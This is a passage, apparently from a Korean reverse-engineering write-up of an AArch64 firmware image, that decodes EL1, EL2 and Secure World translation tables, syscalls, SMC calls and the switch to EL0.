&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF:0x6003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x401&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;2MB Block&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xFFFFFFFFC0000000&lt;/code&gt; (&lt;code&gt;(0xFFFF &amp;lt;&amp;lt; 48) + (0x1FF &amp;lt;&amp;lt; 39) + (0x1FF &amp;lt;&amp;lt; 30)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0x0000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x07: 0x7003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x3b403&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;4KB Page&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xFFFFFFFFC0FFF000&lt;/code&gt; (&lt;code&gt;(0xFFFF &amp;lt;&amp;lt; 48) + (0x1FF &amp;lt;&amp;lt; 39) + (0x1FF &amp;lt;&amp;lt; 30) + (0x7 &amp;lt;&amp;lt; 21) + (0x1FF &amp;lt;&amp;lt; 12)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;IPA = &lt;code&gt;0x3B000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x08: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&#34;main-routine-호출&#34;&gt;Main Routine 호출&lt;/h4&gt;
&lt;p&gt;VA:&lt;code&gt;0xFFFFFFFFC0008000&lt;/code&gt;(-&amp;gt; IPA:&lt;code&gt;0x8000&lt;/code&gt; -&amp;gt; PA:&lt;code&gt;0x40008000&lt;/code&gt;; EL1_MainRoutine) 을 단순히 &lt;code&gt;BR&lt;/code&gt; 로 호출한다.&lt;/p&gt;
&lt;p&gt;EL1 의 MainRoutine 는 bios.bin 의 &lt;code&gt;0x000B_8000&lt;/code&gt; 에 위치한다. 메모리에 로드되면 EL1_VA:&lt;code&gt;0xFFFFFFFFC0008000&lt;/code&gt;(= PA:&lt;code&gt;0x40008000&lt;/code&gt;) 에 위치한다.&lt;/p&gt;
&lt;h5 id=&#34;exception-handler-설정-2&#34;&gt;Exception Handler 설정&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VBAR_EL1&lt;/strong&gt;: 0xffffffffc000a000
&lt;ul&gt;
&lt;li&gt;VA:&lt;code&gt;0xFFFFFFFFC000A000&lt;/code&gt; = IPA:&lt;code&gt;0xA000&lt;/code&gt; = PA:&lt;code&gt;0x4000A000&lt;/code&gt;&lt;br&gt;
다른 EL 과 마찬가지로 대부분의 핸들러는 별다른 동작을 하지 않으며 낮은 EL 에서 발생하는 Synchronous Exception 만 처리한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;해당 Synchronous Exception 에서 System Call 들을 정의하고 있으며 존재하는 Syscall 들은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;read&lt;/li&gt;
&lt;li&gt;write&lt;/li&gt;
&lt;li&gt;mmap&lt;/li&gt;
&lt;li&gt;mprotect&lt;/li&gt;
&lt;li&gt;exit&lt;br&gt;
여기서 mmap 과 mprotect 는 ttbr0_el1 의 entry 를 수정하고 hvc 를 통해 vttbr0_el2 를 수정한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 secure call 도 정의되어 있다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;tc_init_trustlet&lt;/li&gt;
&lt;li&gt;tc_register_wsm&lt;/li&gt;
&lt;li&gt;tc_tci_call&lt;br&gt;
이 secure call 들은 smc 를 호출한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&#34;mmu-설정-3&#34;&gt;MMU 설정&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBR0_EL1&lt;/strong&gt;: 0x20000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0x21003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x22003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x02: 0x23003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x2000000002C4C3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0x2000000002D4C3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x02: 0x2000000002E4C3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x03: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x12: 0x6000000002F443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x13: 0…&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x03: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0001: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x00FF: 0x24003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FD: 0x25003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x26003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FE: 0x60000000030443&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x60000000031443&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0100: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR1_EL1&lt;/strong&gt;: 0x1B000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x1C003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x1D003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x1E003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40000000000483&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0x40000000001483&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0A: 0x4000000000A483&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0B: 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0C: 0x6000000000C403&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0D: 0x6000000000D403&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3A: 0x6000000003A403&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3B: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x48: 0x1F003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x6000000003b403&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;마찬가지로 TCR_EL1.T1SZ = TCR_EL1.T0SZ = 16 인 것을 생각하면서 위 테이블을 해석하면 다음과 같다.&lt;br&gt;
&lt;img src=&#34;./images/arm_aarch64_ttbr_boundaries_and_va_ranges.png&#34; alt=&#34;arm_aarch64_ttbr_boundaries_and_va_ranges.png&#34;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBR0_EL1&lt;/strong&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0x21003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x22003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x02: 0x23003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x2000000002C4C3&lt;/code&gt; - &lt;code&gt;0x02: 0x2000000002E4C3&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b11; PrivRead, UnprivRead&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0x40n000&lt;/code&gt; (&lt;code&gt;(0 &amp;lt;&amp;lt; 39) + (0 &amp;lt;&amp;lt; 30) + (0x02 &amp;lt;&amp;lt; 21) + (n &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x00 &amp;lt;= n &amp;lt;= 0x02)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0x2n000&lt;/code&gt; (0xC &amp;lt;= n &amp;lt;= 0xE)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x03: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x12: 0x6000000002F443&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;UXN = 1&lt;/li&gt;
&lt;li&gt;PXN or PIIndex[2] = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b01; PrivRead, PrivWrite, UnprivRead, UnprivWrite&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0x412000&lt;/code&gt; (&lt;code&gt;(0 &amp;lt;&amp;lt; 39) + (0 &amp;lt;&amp;lt; 30) + (0x02 &amp;lt;&amp;lt; 21) + (0x12 &amp;lt;&amp;lt; 12)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0x2F000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x13: 0…&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x03: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0001: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x00FF: 0x24003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FD: 0x25003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x26003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FE: 0x60000000030443&lt;/code&gt; - &lt;code&gt;0x01FF: 0x60000000031443&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;UXN = 1&lt;/li&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b01; PrivRead, PrivWrite, UnprivRead, UnprivWrite&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0x7FFF7FFFE000&lt;/code&gt; - &lt;code&gt;0x7FFF7FFFF000&lt;/code&gt; (&lt;code&gt;(0xFF &amp;lt;&amp;lt; 39) + (0x1FD &amp;lt;&amp;lt; 30) + (0x1FF &amp;lt;&amp;lt; 21) + (n &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x1FE &amp;lt;= n &amp;lt;= 0x1FF)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0x3n000&lt;/code&gt; (0 &amp;lt;= n &amp;lt;= 1)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0100: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR1_EL1&lt;/strong&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x1C003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x000: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01FF: 0x1D003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x1E003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40000000000483&lt;/code&gt; - &lt;code&gt;0x0A: 0x4000000000A483&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;UXN = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b10; PrivRead&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0xFFFFFFFFC000n000&lt;/code&gt; (&lt;code&gt;(0xFFFF &amp;lt;&amp;lt; 48) + (0x1FF &amp;lt;&amp;lt; 39) + (0x1FF &amp;lt;&amp;lt; 30) + (0 &amp;lt;&amp;lt; 21) + (n &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0 &amp;lt;= n &amp;lt;= A)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0xn000&lt;/code&gt; (0 &amp;lt;= n &amp;lt;= A)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0B: 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0C: 0x6000000000C403&lt;/code&gt; - &lt;code&gt;0x3A: 0x6000000003A403&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;UXN = 1&lt;/li&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b00; PrivRead, PrivWrite&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0xFFFFFFFFC00nn000&lt;/code&gt; (&lt;code&gt;(0xFFFF &amp;lt;&amp;lt; 48) + (0x1FF &amp;lt;&amp;lt; 39) + (0x1FF &amp;lt;&amp;lt; 30) + (0 &amp;lt;&amp;lt; 21) + (n &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x0C &amp;lt;= n &amp;lt;= 0x3A)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0xnn000&lt;/code&gt; (0x0C &amp;lt;= nn &amp;lt;= 0x3A)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3B: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x48: 0x1F003&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x6000000003B403&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;UXN = 1&lt;/li&gt;
&lt;li&gt;PXN = 1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b00; PrivRead, PrivWrite&lt;/li&gt;
&lt;li&gt;IA: &lt;code&gt;0xFFFFFFFFC9000000&lt;/code&gt; (&lt;code&gt;(0xFFFF &amp;lt;&amp;lt; 48) + (0x1FF &amp;lt;&amp;lt; 39) + (0x1FF &amp;lt;&amp;lt; 30) + (0x48 &amp;lt;&amp;lt; 21) + (0 &amp;lt;&amp;lt; 12)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;IPA: &lt;code&gt;0x3B000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0 …&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 EL2 의 Exception 을 호출하여 EL2 의 Transltaion Table Entry 를 변경한다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VTTBR_EL2&lt;/strong&gt;: 0x40106000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40107003&lt;/code&gt; (Descriptor Entry: 0x40107000) -&amp;gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x00: 0x40000443&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x01: 0x40001443&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0B: 0x4000B443&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0C: 0x4000004000C4C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x0D: 0x4000004000D4C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x2B: 0x4000004002B4C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x2C: 0x4002C443&lt;/code&gt; - &lt;code&gt;0x2E: 0x4002E443&lt;/code&gt; -&amp;gt;
&lt;ul&gt;
&lt;li&gt;Page Entry&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;AP = 0b01&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0xnn000&lt;/code&gt; (&lt;code&gt;(0 &amp;lt;&amp;lt; 21) + (0xnn &amp;lt;&amp;lt; 12)&lt;/code&gt;) (0x2C &amp;lt;= nn &amp;lt;= 0x2E)&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x400nn000&lt;/code&gt; (0x2C &amp;lt;= nn &amp;lt;= 0x2E)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x2F: 0x4000004002F4C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3A: 0x4000004003A4C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3B: 0x400000090004C3&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x3C: 0 …&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;0x08: 0 …&lt;/code&gt; (기존과 동일)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&#34;smc-호출&#34;&gt;SMC 호출&lt;/h5&gt;
&lt;p&gt;EL0 로 넘어가기 전에 &lt;code&gt;SMC 0x00&lt;/code&gt; 를 호출한다. 이 때 설정되는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;X0 = 0x83000001&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X1 = 0&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;`X2 = 0&lt;/li&gt;
&lt;li&gt;&lt;code&gt;X3 = 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 &lt;code&gt;SMC 0x00&lt;/code&gt; 이 호출되면 EL2 의 하위 EL 에서 호출되는 &lt;code&gt;Lower EL using AArch64 Synchronous Exception&lt;/code&gt; 가 호출된다. 그리고 이 때의 &lt;code&gt;ESR_EL2.EC = 0x17&lt;/code&gt; 이므로 TEE-OS 를 초기화한다.&lt;/p&gt;
&lt;h5 id=&#34;el0-로-넘어가면서-el0-의-entrypointstart-호출&#34;&gt;EL0 로 넘어가면서 EL0 의 EntryPoint(start) 호출&lt;/h5&gt;
&lt;p&gt;EL0 으로 넘어가기 위해 사용하는 레지스터는 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;SPSR_EL1&lt;/strong&gt;: 0x3c5; E=1, A=1, I=1, F=1, EL0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ELR_EL2&lt;/strong&gt;: VA:&lt;code&gt;0x4000e8&lt;/code&gt; (PA:&lt;code&gt;?&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;그리고 &lt;code&gt;ERET&lt;/code&gt; 을 통해 EL1 의 EntryPoint 를 실행한다.&lt;/p&gt;
&lt;h3 id=&#34;el0&#34;&gt;EL0&lt;/h3&gt;
&lt;p&gt;EL0 의 EntryPoint 는 bios.bin 의 &lt;code&gt;0x000B_C0F8&lt;/code&gt; 에 위치한다. 메모리에 로드되면 EL1_VA:&lt;code&gt;0x4000E8&lt;/code&gt;(= PA:&lt;code&gt;0x4000E8&lt;/code&gt;) 에 위치한다.&lt;br&gt;
이 부분은 ELF 파일이므로 binwalk 를 사용하면 ELF 를 추출할 수 있다. 또한 심볼도 존재한다.&lt;/p&gt;
&lt;h3 id=&#34;secure-world&#34;&gt;Secure World&lt;/h3&gt;
&lt;p&gt;Secure World 는 &lt;code&gt;PA:0xE40000&lt;/code&gt; 에 위치하며, 메모리에 적재되기 전에는 &lt;code&gt;0x20000&lt;/code&gt; 에 위치한다. 또한 AArch32 로 작성되어 있다.&lt;/p&gt;
&lt;h4 id=&#34;설정&#34;&gt;설정&lt;/h4&gt;
&lt;p&gt;Secure World 는 EL3 에서 설정된다. 코드 영역은 EL3 의 EntryPoint 에서 &lt;code&gt;0xE40000&lt;/code&gt; 로 &lt;code&gt;0x20000&lt;/code&gt; 의 값을 복사하면서 설정된다. 이때 유의해야 할 부분은 Secure World 로 넘어갈 때 &lt;code&gt;SPSR=0x1D3&lt;/code&gt; 이고 &lt;code&gt;nRW(M[4]=1&lt;/code&gt; 이므로 AARCH32 로 동작한다. 그리고 &lt;code&gt;M[3:0]=0b0011&lt;/code&gt; 이므로 Supervisor 로 들어간다.&lt;/p&gt;
&lt;p&gt;그리고 실제로 Secure World 의 초기 상태를 만들고 실행하는 부분은 EL3 의 SMC Handler 에서 진행한다.&lt;/p&gt;
&lt;h4 id=&#34;secure-world-초기화&#34;&gt;Secure World 초기화&lt;/h4&gt;
&lt;p&gt;Secure World 로 부팅되면 여러가지 초기화를 진행하며 여기서 초기화하는 것은 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MMU 초기화&lt;/li&gt;
&lt;li&gt;레지스터 설정&lt;/li&gt;
&lt;li&gt;Exception Handler 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;h5 id=&#34;mmu-설정-4&#34;&gt;MMU 설정&lt;/h5&gt;
&lt;p&gt;최종적으로 설정되를 Translation Table 은 다음과 같다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBCR&lt;/strong&gt;: 0x80802504; EAE=1, EPD=1, SHO=0b10, ORGN0=0b01, IRGN0=0b01, T0SZ=0b100&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TTBR0&lt;/strong&gt;: 0xE44000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0…&lt;/li&gt;
&lt;li&gt;0x08: 0xE4D003 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0x900060F&lt;/li&gt;
&lt;li&gt;0x01: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x09: 0…&lt;/li&gt;
&lt;li&gt;0x40: 0xE85003
&lt;ul&gt;
&lt;li&gt;0x000: 0xE40068F&lt;/li&gt;
&lt;li&gt;0x001: 0xE40168F&lt;/li&gt;
&lt;li&gt;0x002: 0xE40268F&lt;/li&gt;
&lt;li&gt;0x003: 0x2000000E40360F&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;0x087: 0x2000000E48760F&lt;/li&gt;
&lt;li&gt;0x088: 0xE48860F&lt;/li&gt;
&lt;li&gt;0x089: 0xE48960F&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;0x1FF: 0xE5FF60F&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x41: 0…&lt;/li&gt;
&lt;li&gt;0x7F: 0xEC4003 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0x2000000008768F&lt;/li&gt;
&lt;li&gt;0x01: 0x2000000008868F&lt;/li&gt;
&lt;li&gt;…&lt;/li&gt;
&lt;li&gt;0x10: 0x2000000009768F&lt;/li&gt;
&lt;li&gt;0x11: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x80: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;위 값들을 해석하면 다음과 같다:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;TTBR0&lt;/strong&gt;: 0xE44000 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0…&lt;/li&gt;
&lt;li&gt;0x08: 0xE4D003 -&amp;gt;
&lt;ul&gt;
&lt;li&gt;0x00: 0x900060F
&lt;ul&gt;
&lt;li&gt;AttrIndx[2:0] = 0b011
&lt;ul&gt;
&lt;li&gt;Use MAIR0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;AP[2:1] = 0b00; Read/write, only at PL1&lt;/li&gt;
&lt;li&gt;AF = 1&lt;/li&gt;
&lt;li&gt;SH[1:0] = 0b10; Outer Shareable&lt;/li&gt;
&lt;li&gt;IA = &lt;code&gt;0x1000000&lt;/code&gt; &lt;code&gt;((0x08&amp;lt;&amp;lt;21)+(0x00&amp;lt;&amp;lt;12))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;OA = &lt;code&gt;0x9000000&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x01: 0…&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;0x09: 0…&lt;/li&gt;
&lt;li&gt;0x40: 0xE85003
&lt;ul&gt;
&lt;li&gt;0x000: 0xE40068F ~ 0x002: 0xE40268F
&lt;ul&gt;
&lt;li&gt;AttrIndx[2:0] = 0b011
&lt;ul&gt;
&lt;li&gt;Use MAIR0&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
